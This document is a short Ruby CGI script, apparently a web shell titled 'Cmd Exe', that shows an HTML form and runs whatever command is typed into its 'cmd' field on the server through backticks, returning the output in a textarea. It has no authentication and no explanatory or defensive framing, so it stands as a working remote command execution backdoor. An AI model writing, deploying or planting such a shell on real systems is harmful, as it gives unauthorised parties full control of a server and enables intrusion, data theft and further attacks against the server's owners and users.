Cmd Exe

#!C:\Ruby\bin\ruby.exe
require 'cgi'
cgi = CGI.new
puts cgi.header
cmd=cgi['cmd']
fo=cgi['go']
print"<center><b>Exe Cmd</b><form method='post'> <input type='text' size='40' name='cmd'><br><input type='submit' name='go'></form><br>";
if cgi['go']
puts "<textarea  cols='80' rows='20' redonly> "
print `#{cmd}`
print "</textarea><br>"
end